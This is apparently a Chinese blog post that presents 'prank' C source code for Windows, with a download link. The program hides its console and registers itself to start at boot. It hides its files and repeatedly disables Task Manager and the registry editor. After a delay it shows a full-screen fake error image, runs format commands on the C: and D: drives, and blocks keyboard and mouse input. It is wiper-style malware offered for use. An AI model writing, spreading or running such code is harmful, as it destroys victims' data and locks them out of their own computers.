上一篇:C语言整人代码_just found it的博客-CSDN博客
这次的改进版增加了禁用注册表,禁用任务管理器和隐藏文件
下载地址:文件下载-奶牛快传 Download |CowTransfer
(图片也在里面,只是编译的时候因为redpandaDEVC++不太稳定,自动运行,把图片隐藏了)
改进后的代码:
引用库:
#include<graphics.h>
#include<math.h>
#include<stdio.h>
#include<windows.h>
#include<time.h>
#include<stdlib.h>
#include<windows.h>
#include<stdlib.h>
开机自启+隐藏控制台:
int main()
{
HWND hwnd;//定义句柄变量
hwnd=FindWindow("ConsoleWindowClass",NULL);//获取窗口句柄
ShowWindow(hwnd,SW_HIDE);//隐藏窗口
// 设置程序开机自启动项
HKEY z;
DWORD v= 1;
RegCreateKey(HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Policies\System",&z);
RegSetValueEx(z,"DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
RegSetValueEx(z,"DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
RegCloseKey(z);
HKEY Key;
long lRet=RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&Key);
if (lRet==ERROR_SUCCESS)
{
char filename[MAX_PATH];
GetModuleFileName(NULL,filename,MAX_PATH);
lRet=RegSetValueEx(Key,"xxx",0,REG_SZ,(BYTE*)filename,strlen(filename)+1);
RegCloseKey(Key);
}
隐藏文件:
char filenamex[MAX_PATH];//创建字符数组,保存文件路径
GetModuleFileName(NULL,filenamex,MAX_PATH);//获取文件路径
char a[260+10]="attrib +h ";//创建数组a,用于保存system命令
for(int i=0;i<strlen(filenamex);i++)//重复执行,遍历数组filenamex
{
a[10+i]=filenamex[i];//在数组a后面加上文件路径
}
system(a);//调用system命令,隐藏exe文件
system("attrib +h blue.png");//隐藏图片文件blue.png
等待10~24分钟+禁用任务管理器和注册表:
srand(time(NULL));
int t=(rand()%15+10)*60*10;
int i;
for(i=0;i<t;i++)
{
delay(100);//等待100毫秒
system("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f");//禁用任务管理器
system("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableRegistryTools /t REG_DWORD /d 1 /f");//禁用注册表编辑器
}
这里每隔100毫秒禁用一次任务管理器和注册表编辑器,为了防止用户修改时间所以不使用clock()函数。
禁用任务管理器的代码必须放在禁用注册表编辑器的代码前面,因为禁用任务管理器只能在注册表编辑器没有被禁用的情况下进行,如果要解除禁用,可以把 /d后面的1改为0(在注册表没有被禁用的情况下运行)
注册表编辑器启用方法:
按下win+r,输入gpedit.msc,打开本地组策略编辑器;
选择用户设置>管理模板>系统,双击 阻止访问注册表编辑工具;
选择"未配置"或"已禁用",点击确定,启用注册表编辑器;
如果本地组策略编辑器中找不到"阻止访问注册表编辑工具",建议下载360安全卫士,修复一下系统(我的电脑就是这样的)
若意外运行,请重启电脑,进入Windows安全模式,进入后即可删除文件(在直接运行Windows的情况下exe文件会开机自启,无法删除)或者使用系统U盘删除文件
弹出EGE窗口+禁用鼠标和键盘+格式化磁盘:
initgraph(0,0,INIT_NOBORDER|INIT_TOPMOST);
resizewindow(-1,-1);
int x=GetSystemMetrics(SM_CXSCREEN);//获取屏幕分辨率x,包含至windows.h
int y=GetSystemMetrics(SM_CYSCREEN);
PIMAGE blue=newimage(x,y);
PIMAGE temp=newimage();
getimage(temp,"blue.png");
putimage(blue,0,0,x,y,temp,0,0,getwidth(temp),getheight(temp));//给xx赋值图片
putimage(0,0,blue);
ShellExecute(NULL, "open", "format","C: /q /u /y", NULL, SW_HIDE);//格式化C盘
ShellExecute(NULL, "open", "format","D: /q /u /y", NULL, SW_HIDE);//格式化D盘
while(1)
{
BlockInput(TRUE);
SetCursorPos(x,y);
}
}
这个程序最好不要选择创建项目,因为总是会出现许多奇怪的问题(比如daley()函数用不了,只能换成SleepEx()函数,EGE窗口无法做成全屏无边,如果选择创建Graphics.h项目又无法执行其他命令等)
注:(三思后打开,后果自负)